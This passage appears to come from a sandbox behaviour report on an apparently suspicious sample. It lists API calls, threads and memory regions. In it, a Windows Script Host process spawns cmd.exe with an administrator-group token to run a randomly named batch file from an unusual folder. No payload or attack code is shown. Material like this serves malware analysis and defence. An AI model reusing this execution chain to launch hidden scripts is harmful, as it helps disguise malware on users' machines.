lpMessageFilter=0x0, lplpMessageFilter=0x3ef654 | out: lplpMessageFilter=0x3ef654*=0x171368) returned 0x0 [0044.039] ??3@YAXPAX@Z () returned 0x1 [0044.039] ??3@YAXPAX@Z () returned 0x1 [0044.039] ??3@YAXPAX@Z () returned 0x1 [0044.039] CoUninitialize () [0044.039] DllCanUnloadNow () returned 0x0 [0044.039] DllCanUnloadNow () returned 0x0 [0044.039] ??3@YAXPAX@Z () returned 0x1 [0044.040] DllCanUnloadNow () returned 0x0 [0044.040] free (_Block=0x2b40f98) [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.043] ??2@YAPAXI@Z () returned 0x2b40048 [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.043] ??3@YAXPAX@Z () returned 0x1 [0044.044] free (_Block=0x17e248) [0044.083] free (_Block=0x2b40070) [0044.083] ??3@YAXPAX@Z () returned 0x1 [0044.083] ??3@YAXPAX@Z () returned 0x1 [0044.084] ??3@YAXPAX@Z () returned 0x1 [0044.084] ??3@YAXPAX@Z () returned 0x1 [0044.085] free (_Block=0x172a18) [0044.087] ExitProcess (uExitCode=0x0) [0044.092] free (_Block=0x173660) Thread: id = 8 os_tid = 0xe4c Thread: id = 9 os_tid = 0xe50 [0039.171] GetClassInfoA (in: hInstance=0xf0000, lpClassName="WSH-Timer", lpWndClass=0x258fd78 | out: lpWndClass=0x258fd78) returned 0 [0039.172] RegisterClassA (lpWndClass=0x258fd78) returned 0x2ac1c1 [0039.172] CreateWindowExA (dwExStyle=0x0, lpClassName="WSH-Timer", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=1, nHeight=1, hWndParent=0x0, hMenu=0x0, hInstance=0xf0000, lpParam=0x171490) returned 0x40278 [0039.173] GetWindowLongA (hWnd=0x40278, nIndex=-21) returned 0 [0039.173] NtdllDefWindowProc_A (hWnd=0x40278, Msg=0x24, wParam=0x0, lParam=0x258f96c) returned 0x0 [0039.173] GetWindowLongA (hWnd=0x40278, nIndex=-21) returned 0 [0039.173] SetWindowLongA (hWnd=0x40278, nIndex=-21, dwNewLong=1512592) returned 0 [0039.173] NtdllDefWindowProc_A (hWnd=0x40278, Msg=0x81, wParam=0x0, lParam=0x258f960) returned 0x1 [0039.176] GetWindowLongA (hWnd=0x40278, nIndex=-21) returned 1512592 [0039.176] NtdllDefWindowProc_A (hWnd=0x40278, Msg=0x83, wParam=0x0, lParam=0x258f94c) returned 0x0 [0039.179] GetWindowLongA (hWnd=0x40278, nIndex=-21) returned 1512592 [0039.179] NtdllDefWindowProc_A (hWnd=0x40278, Msg=0x1, wParam=0x0, lParam=0x258f960) returned 0x0 [0039.179] SetEvent (hEvent=0xf0) returned 1 [0039.188] GetMessageA (in: lpMsg=0x258fda0, hWnd=0x40278, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x258fda0) returned 0 [0043.957] GetWindowLongA (hWnd=0x40278, nIndex=-21) returned 1512592 [0043.958] GetWindowLongA (hWnd=0x40278, nIndex=-21) returned 1512592 Thread: id = 10 os_tid = 0xe54 Thread: id = 11 os_tid = 0xe58 Thread: id = 12 os_tid = 0xe64 Thread: id = 13 os_tid = 0xe68 Thread: id = 14 os_tid = 0xe6c Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4139c000" os_pid = "0xe70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xe40" cmd_line = "C:\\Windows\\system32\\cmd.exe /c \"\"C:\\hyperWinhost\\DvmT9BsJAfBh.bat\" \"" cur_dir = "C:\\hyperWinhost\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 558 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 559 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 560 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 561 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 562 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 563 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 564 start_va = 0x2b0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 565 start_va = 0x4a470000 end_va = 0x4a4bbfff monitored = 1 entry_point = 0x4a47829a region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 566 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 567 start_va = 0x77dc0000 end_va = 0x77f3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 568 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 569 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 570 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 571 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 572 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 573 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 574 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 575 start_va = 0x3b0000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 576 start_va = 0x756b0000 end_va = 0x756eefff monitored = 0 entry_point = 0x756de088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 577 start_va = 0x75650000 end_va = 0x756abfff monitored = 0 entry_point = 0x7568f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 578 start_va = 0x75640000 end_va = 0x75647fff monitored = 0 entry_point = 0x756420f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 579 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 580 start_va = 0x77270000 end_va = 0x7737ffff monitored = 0 entry_point = 0x77283283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 581 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 582 start_va = 0x779c0000 end_va = 0x77adefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000779c0000" filename = "" Region: id = 583 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 584 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077ae0000" filename = "" Region: id = 585 start_va = 0x620000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 586 start_va = 0x77270000 end_va = 0x7737ffff monitored = 0 entry_point = 0x77283283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 587 start_va = 0x77560000 end_va = 0x775a6fff monitored = 0 entry_point = 0x775674c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 588 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 589 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 590 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 591 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 592 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 593 start_va = 0x76e20000 end_va = 0x76ecbfff monitored = 0 entry_point = 0x76e2a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 594 start_va = 0x757f0000 end_va = 0x757f6fff monitored = 0 entry_point = 0x757f1230 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 595 start_va = 0x77000000 end_va = 0x770fffff monitored = 0 entry_point = 0x7701b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 596 start_va = 0x76d90000 end_va = 0x76e1ffff monitored = 0 entry_point = 0x76da6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 597 start_va = 0x76b00000 end_va = 0x76b09fff monitored = 0 entry_point = 0x76b036a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 598 start_va = 0x77380000 end_va = 0x7741cfff monitored = 0 entry_point = 0x773b3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 599 start_va = 0x76940000 end_va = 0x769dffff monitored = 0 entry_point = 0x769549e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 600 start_va = 0x77210000 end_va = 0x77228fff monitored = 0 entry_point = 0x77214975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 601 start_va = 0x77840000 end_va = 0x7792ffff monitored = 0 entry_point = 0x77850569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 602 start_va = 0x75910000 end_va = 0x7596ffff monitored = 0 entry_point = 0x7592a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 603 start_va = 0x75900000 end_va = 0x7590bfff monitored = 0 entry_point = 0x759010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 604 start_va = 0x3b0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 605 start_va = 0x5a0000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 606 start_va = 0x3b0000 end_va = 0x537fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 607 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 608 start_va = 0xe0000 end_va = 0xfdfff monitored = 0 entry_point = 0xf158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 609 start_va = 0xe0000 end_va = 0xfdfff monitored = 0 entry_point = 0xf158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 610 start_va = 0x77190000 end_va = 0x771effff monitored = 0 entry_point = 0x771a158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 611 start_va = 0x75ad0000 end_va = 0x75b9bfff monitored = 0 entry_point = 0x75ad168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 612 start_va = 0x620000 end_va = 0x7a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 613 start_va = 0x810000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 614 start_va = 0x910000 end_va = 0x1d0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 615 start_va = 0xe0000 end_va = 0xfffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\cmd.exe.mui") Region: id = 616 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 617 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 618 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 619 start_va = 0x1d10000 end_va = 0x1fdefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 15 os_tid = 0xe74 [0044.303] GetProcAddress (hModule=0x77270000, lpProcName="SetConsoleInputExeNameW") returned 0x7729a775 [0044.305] GetProcessHeap () returned 0x810000 [0044.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x400a) returned 0x8266c0 [0044.305] GetProcessHeap () returned 0x810000 [0044.305] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8266c0 | out: hHeap=0x810000) returned 1 [0044.307] _wcsicmp (_String1="\"C:\\hyperWinhost\\DvmT9BsJAfBh.bat\"", _String2=")") returned -7 [0044.307] _wcsicmp (_String1="FOR", _String2="\"C:\\hyperWinhost\\DvmT9BsJAfBh.bat\"") returned 68 [0044.307] _wcsicmp (_String1="FOR/?", _String2="\"C:\\hyperWinhost\\DvmT9BsJAfBh.bat\"") returned 68 [0044.307] _wcsicmp (_String1="IF", _String2="\"C:\\hyperWinhost\\DvmT9BsJAfBh.bat\"") returned 71 [0044.307] _wcsicmp (_String1="IF/?", _String2="\"C:\\hyperWinhost\\DvmT9BsJAfBh.bat\"") returned 71 [0044.307] _wcsicmp (_String1="REM", _String2="\"C:\\hyperWinhost\\DvmT9BsJAfBh.bat\"") returned 80 [0044.307] _wcsicmp (_String1="REM/?", _String2="\"C:\\hyperWinhost\\DvmT9BsJAfBh.bat\"") returned 80 [0044.307] GetProcessHeap () returned 0x810000 [0044.307] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x58) returned 0x823460 [0044.307] GetProcessHeap () returned 0x810000 [0044.307] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x4e) returned 0x8234c0 [0044.307] GetProcessHeap () returned 0x810000 [0044.307] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xc) returned 0x820448 [0044.308] GetConsoleTitleW (in: lpConsoleTitle=0x3af524, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0044.309] GetFileAttributesW (lpFileName="\"C:\\hyperWinhost\\DvmT9BsJAfBh.bat\"" (normalized: "c:\\hyperwinhost\\\"c:\\hyperwinhost\\dvmt9bsjafbh.bat\"")) returned 0xffffffff [0044.309] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0044.309] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0044.309] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0044.309] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0044.309] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0044.309] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0044.309] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0044.309] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0044.309] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0044.309] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0044.309] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0044.309] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0044.309] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0044.309] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0044.309] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0044.309] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0044.309] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0044.309] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0044.309] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0044.309] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0044.309] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0044.310] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0044.310] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0044.310] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0044.310] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0044.310] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0044.310] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0044.310] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0044.310] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0044.310] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0044.310] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0044.310] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0044.310] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0044.310] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0044.310] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0044.310] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0044.310] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0044.310] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0044.310] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0044.310] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0044.310] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0044.310] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0044.310] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0044.310] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0044.310] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0044.310] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0044.311] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0044.311] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0044.311] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0044.311] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0044.311] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0044.311] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0044.311] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0044.311] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0044.311] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0044.311] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0044.311] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0044.311] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0044.311] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0044.311] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0044.311] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0044.311] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0044.311] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0044.311] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0044.311] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0044.311] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0044.311] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0044.311] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0044.311] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0044.311] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0044.311] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0044.312] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0044.312] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0044.312] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0044.312] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0044.312] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0044.312] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0044.312] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0044.312] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0044.312] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0044.312] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0044.312] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0044.312] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0044.312] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0044.312] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0044.312] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0044.312] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0044.312] GetProcessHeap () returned 0x810000 [0044.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x210) returned 0x823518 [0044.312] GetProcessHeap () returned 0x810000 [0044.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x52) returned 0x823730 [0044.315] _wcsnicmp (_String1="C:\\h", _String2="cmd ", _MaxCount=0x4) returned -51 [0044.315] GetProcessHeap () returned 0x810000 [0044.315] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x418) returned 0x823790 [0044.315] SetErrorMode (uMode=0x0) returned 0x0 [0044.317] SetErrorMode (uMode=0x1) returned 0x0 [0044.317] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\.", nBufferLength=0x208, lpBuffer=0x823798, lpFilePart=0x3af044 | out: lpBuffer="C:\\hyperWinhost", lpFilePart=0x3af044*="hyperWinhost") returned 0xf [0044.317] SetErrorMode (uMode=0x0) returned 0x1 [0044.317] GetProcessHeap () returned 0x810000 [0044.317] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x823790, Size=0x4a) returned 0x823790 [0044.317] GetProcessHeap () returned 0x810000 [0044.317] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x823790) returned 0x4a [0044.317] NeedCurrentDirectoryForExePathW (ExeName="C:\\hyperWinhost\\.") returned 1 [0044.317] GetProcessHeap () returned 0x810000 [0044.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x2e) returned 0x8237e8 [0044.317] GetProcessHeap () returned 0x810000 [0044.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x50) returned 0x823820 [0044.317] GetProcessHeap () returned 0x810000 [0044.317] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x823820, Size=0x2e) returned 0x823820 [0044.317] GetProcessHeap () returned 0x810000 [0044.317] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x823820) returned 0x2e [0044.318] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4a0640, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0044.318] GetProcessHeap () returned 0x810000 [0044.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xe0) returned 0x823858 [0044.323] GetProcessHeap () returned 0x810000 [0044.323] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x823858, Size=0x76) returned 0x823858 [0044.323] GetProcessHeap () returned 0x810000 [0044.323] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x823858) returned 0x76 [0044.323] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0044.323] FindFirstFileExW (in: lpFileName="C:\\hyperWinhost\\DvmT9BsJAfBh.bat" (normalized: "c:\\hyperwinhost\\dvmt9bsjafbh.bat"), fInfoLevelId=0x1, lpFindFileData=0x3aede0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aede0) returned 0x8238d8 [0044.324] GetProcessHeap () returned 0x810000 [0044.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x14) returned 0x821c50 [0044.324] FindClose (in: hFindFile=0x8238d8 | out: hFindFile=0x8238d8) returned 1 [0044.324] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0044.324] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0044.324] GetConsoleTitleW (in: lpConsoleTitle=0x3af2b8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0044.324] GetProcessHeap () returned 0x810000 [0044.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x11c) returned 0x8238d8 [0044.324] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x76940000 [0044.324] GetProcAddress (hModule=0x76940000, lpProcName="SaferIdentifyLevel") returned 0x76962102 [0044.325] IdentifyCodeAuthzLevelW () returned 0x1 [0044.332] GetProcAddress (hModule=0x76940000, lpProcName="SaferComputeTokenFromLevel") returned 0x76963352 [0044.332] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0044.332] GetProcAddress 